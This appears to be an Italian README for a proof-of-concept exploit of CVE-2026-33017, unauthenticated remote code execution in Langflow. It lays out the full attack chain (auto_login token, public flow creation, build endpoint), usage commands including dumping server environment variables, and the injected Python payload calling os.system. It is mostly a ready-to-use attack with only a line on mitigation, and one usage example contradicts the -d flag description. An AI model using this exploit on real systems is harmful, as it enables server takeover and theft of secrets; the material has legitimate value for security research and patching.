
Exploit proof-of-concept per CVE-2026-33017 che dimostra l'esecuzione di codice remoto non autenticata in Langflow tramite iniezione di CustomComponent dannoso attraverso endpoint di build pubblici.
ID CVE: CVE-2026-33017
Software interessato: Langflow
Versioni vulnerabili: <= 1.8.2
Versione corretta: >= 1.9.0
Gravità: Critica
Autore: r3nsi15
Data: 2026
Langflow espone un endpoint pubblico di build dei flow (/api/v1/build_public_tmp/{flowID}/flow) che accetta
blocchi di codice CustomComponent arbitrari e li esegue lato server senza autenticazione. Iniettando
un payload Python dannoso nel campo code di un nodo CustomComponent, un attaccante non autenticato
può eseguire comandi arbitrari del sistema operativo con i privilegi del processo server di Langflow.
La catena di attacco abusa innanzitutto dell'endpoint /api/v1/auto_login, che rilascia un bearer token senza
richiedere credenziali quando Langflow è in esecuzione con la sua configurazione predefinita di auto-login. Successivamente,
utilizza quel token per creare un flow pubblico temporaneo e attivare l'esecuzione di codice lato server tramite l'endpoint
di build.
| Endpoint | Metodo | Autenticazione richiesta | Scopo |
|---|---|---|---|
/api/v1/auto_login | GET | No | Ottieni bearer token (auto-login deve essere abilitato) |
/api/v1/flows/ | POST | Sì (Bearer) | Crea un nuovo flow |
/api/v1/build_public_tmp/{flowID}/flow | POST | No (pubblico) | Attiva la build — punto di esecuzione vulnerabile |
/api/v1/flows/{flowID} | DELETE | Sì (Bearer) | Elimina il flow creato |
File: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Forma lunga | Obbligatorio | Descrizione |
|---|---|---|---|
-u | --url | Sì | URL di base dell'istanza Langflow |
-c | --command | Sì | Comando del sistema operativo da eseguire sul server |
-d | --delete | No | Elimina il flow creato dopo lo sfruttamento |
Verifica dell'esecuzione del codice:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Recupera le variabili d'ambiente del server:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Mantieni attivo il flow dopo lo sfruttamento (salta la pulizia):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
L'exploit inietta il seguente frammento Python nel campo code di un nodo CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importa dinamicamente il modulo os ed esegue sul server il comando shell fornito dall'attaccante.CustomComponent valido, necessario per soddisfare il caricatore di componenti di Langflow senza generare errori di parsing.PUBLIC e l'endpoint di build viene invocato sul suo endpoint pubblico, il che significa che non è richiesto alcun cookie di sessione o token di autenticazione per attivare l'esecuzione.Il sistema CustomComponent di Langflow consente di inviare codice Python arbitrario come parte di una definizione
di flow. L'endpoint /api/v1/build_public_tmp/{flowID}/flow compila e valuta parzialmente questo
codice lato server, includendo le istruzioni a livello di modulo, senza sandboxing e senza limitare l'accesso
ai built-in di Python come __import__.
1. GET /api/v1/auto_login → Ottieni Bearer token (nessuna credenziale richiesta)
2. POST /api/v1/flows/ → Crea un flow PUBLIC (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inietta ed esegui un CustomComponent dannoso (nessuna autenticazione)
4. DELETE /api/v1/flows/{id} → Pulizia (opzionale)
Tutti e quattro i passaggi possono essere eseguiti da un attaccante anonimo contro una distribuzione Langflow predefinita.
LANGFLOW_AUTO_LOGIN=false) su qualsiasi distribuzione esposta a Internet.Questa prova di concetto è fornita esclusivamente a scopo educativo e per ricerche di sicurezza autorizzate. L'uso di questo script su sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i collaboratori non si assumono alcuna responsabilità per un uso improprio.